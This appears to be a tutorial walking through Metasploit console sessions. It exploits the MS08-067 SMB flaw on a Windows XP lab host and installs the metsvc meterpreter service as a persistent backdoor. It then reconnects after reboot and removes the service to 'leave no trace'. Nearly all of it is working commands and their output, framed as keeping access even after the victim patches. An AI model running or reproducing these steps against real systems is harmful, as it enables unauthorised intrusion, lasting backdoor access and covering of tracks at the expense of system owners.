First, we need a meterpreter session on the remote system.
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / _|/ _|/ / _| |
| | |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/
/|
|
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 489 exploits - 225 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
=[ svn r8074 updated today (2010.01.05)
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set LHOST 172.16.83.1
LHOST => 172.16.83.1
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 3 opened (172.16.83.1:54745 -> 172.16.83.128:4444)
meterpreter >Once achieved, we execute metsrv, which will install as a service a meterpreter server on the remote host.
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:WINDOWSTEMPHdOFwlxzpobWuh...
[*] >> Uploading metsrv.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.Now, if we want, we can restart the remote system, even if the service is already running.
meterpreter > reboot
Rebooting...
meterpreter >Now, when the remote host reboots, we are going to connect to the meterpreter service that we just installed.
To do this, we will use the handler so that the exploit can be carried to us windows/metsvc_bind_tcp, we'll set it up and connect, as I will.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/metsvc_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST no The target address
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(handler) > exploit
[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 1 opened (172.16.83.1:42050 -> 172.16.83.128:31337)
meterpreter >And that's it! This is good for us in case the remote host applies a patch that corrects its vulnerabilities.
Even if you patch the system, we will have access to your system through that backdoor.
And if we want to uninstall the metsvc on the remote host to leave no trace, we just have to run metsvc -r in our meterpreter session.
meterpreter > run metsvc -r
[*] Removing the existing Meterpreter service
[*] Creating a temporary installation directory C:WINDOWSTEMPQQqawIYOjLq...
[*] >> Uploading metsvc.exe...
[*] Stopping the service...
* Stopping service metsvc
* Removing service
Service metsvc successfully removed.
meterpreter >
Comments